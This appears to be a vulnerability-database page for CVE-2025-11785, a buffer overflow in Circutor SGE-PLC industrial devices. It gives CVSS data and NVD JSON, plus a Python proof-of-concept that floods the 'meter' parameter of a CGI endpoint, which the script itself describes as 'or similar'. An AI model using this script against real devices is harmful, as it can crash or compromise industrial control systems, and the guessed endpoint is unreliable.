Security Vulnerability Report
中文
CVE-2025-11785 CVSS 9.8 CRITICAL

CVE-2025-11785

Published: 2025-12-02 13:15:50
Last Modified: 2025-12-03 19:13:22

Description

Stack-based buffer overflow vulnerability in Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. In the 'ShowMeterPasswords()' function, there is an unlimited user input that is copied to a fixed-size buffer via 'sprintf()'. The 'GetParameter(meter)' function retrieves the user input, which is directly incorporated into a buffer without size validation. An attacker can provide an excessively large input for the 'meter' parameter.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:* - NOT VULNERABLE
Circutor SGE-PLC1000 < v9.0.2
Circutor SGE-PLC50 < v9.0.2
Circutor SGE-PLC1000 = v9.0.2
Circutor SGE-PLC50 = v9.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11785 PoC - Circutor SGE-PLC Buffer Overflow # Target: /cgi-bin/show_meter_passwords or similar endpoint def exploit_cve_2025_11785(target_url, meter_payload): """ Exploit for CVE-2025-11785 - Stack-based buffer overflow in ShowMeterPasswords() Args: target_url: Base URL of the Circutor SGE-PLC device meter_payload: Malicious input for 'meter' parameter Returns: Response from the server """ # Construct the malicious request params = { 'meter': meter_payload # Oversized input triggers buffer overflow } try: # Send the malicious request response = requests.get( f"{target_url}/cgi-bin/show_meter_passwords", params=params, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def generate_overflow_payload(length=1000): """ Generate buffer overflow payload Args: length: Length of the payload (default 1000 bytes) Returns: String of 'A' characters of specified length """ # Generate payload that exceeds buffer size return 'A' * length if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1] # Generate overflow payload (adjust length as needed) payload = generate_overflow_payload(1000) print(f"[*] Sending exploit payload to {target}") print(f"[*] Payload length: {len(payload)}") response = exploit_cve_2025_11785(target, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11785", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:50.223", "lastModified": "2025-12-03T19:13:22.060", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability in Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. In the 'ShowMeterPasswords()' function, there is an unlimited user input that is copied to a fixed-size buffer via 'sprintf()'. The 'GetParameter(meter)' function retrieves the user input, which is directly incorporated into a buffer without size validation. An attacker can provide an excessively large input for the 'meter' parameter."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer basado en pila en Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. En la función 'ShowMeterPasswords()', existe una entrada de usuario ilimitada que se copia a un búfer de tamaño fijo a través de 'sprintf()'. La función 'GetParameter(meter)' recupera la entrada del usuario, la cual se incorpora directamente en un búfer sin validación de tamaño. Un atacante puede proporcionar una entrada excesivamente grande para el parámetro 'meter'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:H/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC715A9-6F95-4795-B3B1-1BFAF88ACCE9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "203C8B5E-582A-4680-B324-B9092F01462B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}